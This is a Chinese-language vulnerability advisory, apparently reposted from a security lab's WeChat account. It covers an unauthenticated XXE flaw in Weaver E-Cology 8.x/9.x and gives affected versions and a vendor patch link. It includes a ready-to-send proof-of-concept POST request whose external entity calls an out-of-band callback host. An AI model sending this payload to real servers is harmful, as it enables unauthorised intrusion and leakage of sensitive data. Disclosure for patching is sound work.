泛微E-Cology Xml外部实体注入漏洞

泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台，形成了一系列的通用解决方案和行业解决方案。

泛微厂商发布安全补丁更新，修复泛微 E-CologyXML外部实体注入漏洞。由于后台逻辑对 XXE 漏洞防护存在缺陷，导致远程未授权攻击者可绕过现有防护实现 XML 外部实体注入，最终可能造成敏感信息泄露，且进一步配合其他漏洞可能导致RCE等危害。

0x02影响版本

泛微 EC 9.x 且补丁版本 < 10.58.2

泛微 EC 8.x 且补丁版本 < 10.58.2

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

  Poc （POST）

POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1Host: User-Agent: Go-http-client/1.1Content-Length: 35Content-Type: application/xmlAccept-Encoding: gzip<?xml version="1.0"?><!DOCTYPE ANY [    <!ENTITY % d SYSTEM "http://wutvavcfzj.dnstunnel.run">    %d;]><a>&xxe;</a>

漏洞复现

POST请求，响应存在漏洞

        yakit生成测试域名

3.x-poc测试（漏洞存在）

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

目前官方已发布 10.58.2 来修复此漏洞，建议受影响用户更新至 10.58.2

https://www.weaver.com.cn/cs/package/Ecology_security_20230711_v9.0_v10.58.1_deta.zip?v=20230711

原文始发于微信公众号（弥天安全实验室）：泛微E-Cology Xml外部实体注入漏洞